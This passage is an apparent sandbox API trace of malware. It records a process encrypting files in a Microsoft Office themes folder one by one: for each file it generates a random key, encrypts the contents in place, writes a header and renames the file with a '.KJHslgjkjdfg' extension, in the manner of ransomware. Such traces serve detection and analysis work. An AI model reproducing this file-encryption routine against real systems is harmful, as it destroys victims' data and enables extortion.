CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.231] GetProcessHeap () returned 0x990000 [0175.231] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.231] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.231] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.231] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.231] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.231] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.231] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.232] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.232] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.232] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.232] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.232] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.232] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x59f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x59f, lpOverlapped=0x0) returned 1 [0175.232] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x5a0, dwBufLen=0x5a0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x5a0) returned 1 [0175.232] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.232] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x5a0, lpOverlapped=0x0) returned 1 [0175.232] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.232] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.232] SetEndOfFile (hFile=0x12c) returned 1 [0175.234] GetProcessHeap () returned 0x990000 [0175.234] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.234] GetProcessHeap () returned 0x990000 [0175.234] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.kjhslgjkjdfg")) returned 1 [0175.235] CloseHandle (hObject=0x12c) returned 1 [0175.235] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0175.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.237] GetProcessHeap () returned 0x990000 [0175.237] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.237] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.237] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.238] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0175.241] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.241] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.241] GetProcessHeap () returned 0x990000 [0175.241] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0175.241] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0175.241] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.241] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0175.241] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.241] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.242] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.242] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.242] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.242] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.242] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.242] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.242] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbba7, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xbba7, lpOverlapped=0x0) returned 1 [0175.243] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbbb0, dwBufLen=0xbbb0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbbb0) returned 1 [0175.244] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.244] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbbb0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xbbb0, lpOverlapped=0x0) returned 1 [0175.244] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.244] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xbc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.245] SetEndOfFile (hFile=0x12c) returned 1 [0175.246] GetProcessHeap () returned 0x990000 [0175.246] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0175.246] GetProcessHeap () returned 0x990000 [0175.246] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.246] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.kjhslgjkjdfg")) returned 1 [0175.249] CloseHandle (hObject=0x12c) returned 1 [0175.249] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0175.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.250] GetProcessHeap () returned 0x990000 [0175.250] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.250] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.250] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.251] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.252] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.252] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.252] GetProcessHeap () returned 0x990000 [0175.252] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0175.252] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0175.252] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.252] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0175.252] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.252] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.252] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.253] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.253] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.253] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.253] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.253] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.253] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x258, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x258, lpOverlapped=0x0) returned 1 [0175.253] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x260, dwBufLen=0x260 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x260) returned 1 [0175.253] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.253] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x260, lpOverlapped=0x0) returned 1 [0175.253] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.253] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.254] SetEndOfFile (hFile=0x12c) returned 1 [0175.254] GetProcessHeap () returned 0x990000 [0175.254] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0175.254] GetProcessHeap () returned 0x990000 [0175.254] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.kjhslgjkjdfg")) returned 1 [0175.256] CloseHandle (hObject=0x12c) returned 1 [0175.257] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0175.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.257] GetProcessHeap () returned 0x990000 [0175.257] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.257] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.257] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.257] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.264] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.264] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.264] GetProcessHeap () returned 0x990000 [0175.264] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.264] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.264] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.264] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.264] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.264] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.264] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.264] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.265] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.265] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.265] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.265] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.265] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x90f8, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x90f8, lpOverlapped=0x0) returned 1 [0175.266] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9100, dwBufLen=0x9100 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9100) returned 1 [0175.267] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.267] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x9100, lpOverlapped=0x0) returned 1 [0175.267] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.267] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x91d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.267] SetEndOfFile (hFile=0x12c) returned 1 [0175.271] GetProcessHeap () returned 0x990000 [0175.271] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.271] GetProcessHeap () returned 0x990000 [0175.271] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0175.272] CloseHandle (hObject=0x12c) returned 1 [0175.272] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0175.272] GetProcessHeap () returned 0x990000 [0175.272] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.272] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.272] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0175.273] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.273] GetProcessHeap () returned 0x990000 [0175.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0175.273] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.273] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0175.273] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.273] GetProcessHeap () returned 0x990000 [0175.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0175.273] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.273] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0175.273] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.273] GetProcessHeap () returned 0x990000 [0175.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0175.273] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.273] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0175.273] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.273] GetProcessHeap () returned 0x990000 [0175.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0175.274] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, 